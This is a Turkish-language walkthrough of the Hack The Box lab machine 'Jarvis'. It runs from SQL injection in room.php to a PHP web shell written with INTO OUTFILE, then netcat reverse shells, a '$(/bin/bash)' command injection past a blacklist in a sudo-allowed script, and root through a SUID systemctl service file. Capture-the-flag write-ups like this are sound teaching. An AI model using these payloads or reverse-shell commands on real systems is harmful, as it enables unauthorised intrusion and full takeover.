| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Jarvis - HTB | Orta | Linux |
Walkthrough
nmap taraması ile başlayalım.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
80 portuna gittiğimde http://10.10.10.143/room.php?cod=5 adresinde sqli olabileceğini düşündüm ve basit testler gerçekleştirdim. sqlmap kullanmadan bazı işlemler yapıp bir web shell oluşturabildim.
http://10.10.10.143/room.php?cod=5 adresi ile http://10.10.10.143/room.php?cod=6-1 adresi bana anı sonucu getiriyordu aslında kolay bir şekilde sunucu tarafında 6-1=5 işlemi gerçekleştirdik ve sql injection yaptık. Bunun üzerine order by yöntemi ile kaç adet sütün olduğunu anlamaya çalıştım. http://10.10.10.143/room.php?cod=6 order by 8 sonucunda sayfa beklendiği gibi çalışmadı bu bize selkect sorgusunda 7 sütün olduğu anlamına gelmektedir. Binary search yöntem ile aşağıdaki payloadlar aracılığıyla database ismini elde edebildim. Aşağıda binary search olarak değil normal bir şekilde karşılaştırma işleminin nasıl yapıldığını göstermekteyim.
http://10.10.10.143/room.php?cod=6 union select 1,2,3,4,5,6,(select IF(substring((select SCHEMA_NAME from information_schema.SCHEMATA limit 1), 1,1) = 'h' , sleep(5), 'as')) Bu payload aslında şu anlama gelmektedir:
- information_schema db'sinde SCHEMATA tablosunun SCHEMA_NAME sütünunun ilk sonucunu al.
- substring ile ifadenin ilk değerini al.
- if ile ilk değerin h harfine eşit olup olmadığını tespit et. Eğer eşitse 5 saniye bekle.
Tabi ki bu yöntemi python ile hızlı bir şekilde yapabiliriz. Udemy kursumda bunu daha öncesine yapmıştım ancak kontrollere devam ederken yazabilme hakkımın olduğunu anladım ve hemen bir web shel oluşturdum. select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE '/var/www/html/kuday.php' payloadını kullanacağız.
10.10.10.143/room.php?cod=6 union select 1,2,3,4,5,6,"<?php echo shell_exec($_GET['c']);?>" into OUTFILE "/var/www/html/kuday.php"
Bu aşamadan sonra reverse alabildim. http://10.10.10.143/kuday.php?c=nc%2010.10.14.17%204444%20-e%20/bin/bash adresine istek attığımda reverse elde ettim.
┌──(root💀kali)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.17] from supersecurehotel.htb [10.10.10.143] 59692
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@jarvis:/var/www/html$
İncelemeler yaparken mysql credential'ları yakaladım ancak bir işime yaramadı. İşime yarayacak şey sudo'da...
www-data@jarvis:/var/www/Admin-Utilities$ sudo -l
sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
Bunu n üzerine python kodunu okudum.
www-data@jarvis:/var/www/Admin-Utilities$ cat simpler.py
cat simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
Aslında ilgilendiğimiz kısım aşağıdaki alan:
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
Görüldüğü üzere bazı filtreler uygulanılmış ancak bash üzerinde komut içinde komut çalıştırabiliriz. Bunu çokça kullanırım. Özellikle kendi yazdığım web shell'lerde...
www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
<do -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
Enter an IP: $(/bin/bash) 10.10.14.17
$(/bin/bash) 10.10.14.17
pepper@jarvis:/var/www/Admin-Utilities$
pepper@jarvis:/var/www/Admin-Utilities$ nc 10.10.14.17 1111 -e /bin/bash
nc 10.10.14.17 1111 -e /bin/bash
┌──(root💀kali)-[~/tool/PEASS-ng/linPEAS]
└─# nc -lvp 1111
listening on [any] 1111 ...
connect to [10.10.14.17] from supersecurehotel.htb [10.10.10.143] 58946
id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
Normal ilk shell'imiz açıldığında outputları basha stdout kısmına gidiyordu bunun üzerine nc ile yeni bir stdout alanı oluşturmaya karar verdim.
Linpeas.sh ile analizlerime devam ederken suid bitler dikkatimi çekti.
════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
strace Not Found
-rwsr-xr-x 1 root root 31K Aug 21 2018 /bin/fusermount (Unknown SUID binary)
-rwsr-xr-x 1 root root 44K Mar 7 2018 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 60K Nov 10 2016 /bin/ping
-rwsr-x--- 1 root pepper 171K Feb 17 2019 /bin/systemctl
-rwsr-xr-x 1 root root 31K Mar 7 2018 /bin/umount ---> BSD/Linux(08-1996)
:
-rwsr-xr-x 1 root root 40K May 17 2017 /bin/su
---s--s--x 1 pepper pepper 171K Aug 16 19:50 /home/pepper/Web/Logs/systemctl
-rwsr-xr-x 1 root root 40K May 17 2017 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 59K May 17 2017 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 75K May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 40K May 17 2017 /usr/bin/chsh (Unknown SUID binary)
-rwsr-xr-x 1 root root 138K Jun 5 2017 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 49K May 17 2017 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmcrypt-get-device (Unknown SUID binary)
-rwsr-xr-x 1 root root 431K Mar 1 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42K Mar 2 2018 /usr/lib/dbus-1.0/dbus-daemon-launch-helper (Unknown SUID binary)
https://gtfobins.github.io/gtfobins/systemctl/#suid adresi yardımıyla root oldum.
┌──(root💀kali)-[~/oscp/htb/Jarvis]
└─# cat kuday.service
[Unit]
Description=roooooooooot
[Service]
Type=simple
User=root
ExecStart=/bin/sh -c "nc 10.10.14.17 9999 -e /bin/bash"
[Install]
WantedBy=multi-user.target
Kendi bilgisayarımda bir service dosyası oluşturup bunu karşı makinaya yolladım.
pepper@jarvis:~$ wget http://10.10.14.17/kuday.service
wget http://10.10.14.17/kuday.service
--2021-08-17 08:27:58-- http://10.10.14.17/kuday.service
Connecting to 10.10.14.17:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 159 [application/octet-stream]
Saving to: 'kuday.service'
kuday.service 100%[===================>] 159 --.-KB/s in 0s
2021-08-17 08:27:58 (21.6 MB/s) - 'kuday.service' saved [159/159]
pepper@jarvis:~$ /bin/systemctl link /home/pepper/kuday.service
/bin/systemctl link /home/pepper/kuday.service
Created symlink /etc/systemd/system/kuday.service -> /home/pepper/kuday.service.
pepper@jarvis:~$ /bin/systemctl enable --now /home/pepper/kuday.service
/bin/systemctl enable --now /home/pepper/kuday.service
Created symlink /etc/systemd/system/multi-user.target.wants/kuday.service -> /home/pepper/kuday.service.
pepper@jarvis:~$ /bin/systemctl enable --now /home/pepper/kuday.service
/bin/systemctl enable --now /home/pepper/kuday.service
pepper@jarvis:~$ /bin/systemctl start kuday
/bin/systemctl start kuday
┌──(root💀kali)-[~/oscp/htb/Jarvis]
└─# nc -lvp 9999
listening on [any] 9999 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.143] 45574
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
clean.sh
root.txt
sqli_defender.py
cat root.txt
d41d8cd98f00b204e9800998ecf84271
İlk Yorumu Siz Yapın